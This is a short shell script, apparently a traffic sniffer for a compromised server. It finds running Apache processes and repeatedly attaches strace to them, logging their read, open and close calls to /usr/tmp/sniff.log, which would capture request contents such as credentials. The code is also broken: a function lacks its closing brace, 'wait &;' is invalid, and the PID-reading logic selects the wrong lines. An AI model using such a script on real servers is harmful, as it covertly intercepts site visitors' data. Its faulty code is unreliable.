#!/bin/sh

httpd_name='apache';
temp='/usr/tmp/temp';
temp1='/usr/tmp/temp1';
output='/usr/tmp/sniff.log';
ps ax | grep apache | grep -v grep | wc -l | awk '{ print $1 }' > $temp;
count=`cat $temp | wc -l | awk '{ print $1 }'`;
ps ax | grep apache | grep -v grep | awk '{ print $1 }' > $temp1;
a=0;
b=1;

trace () {
for i in `seq 1 $count`; do
name=`cat $temp | head -n $a | tail -n 1 | head -n 1`;
strace -e trace=read,open,close -p $name -o $output &>/dev/null; wait &;
done
}
loop () {
while [ 1 ]; do 
sleep 3;
trace
done

main () {
loop;
}
main
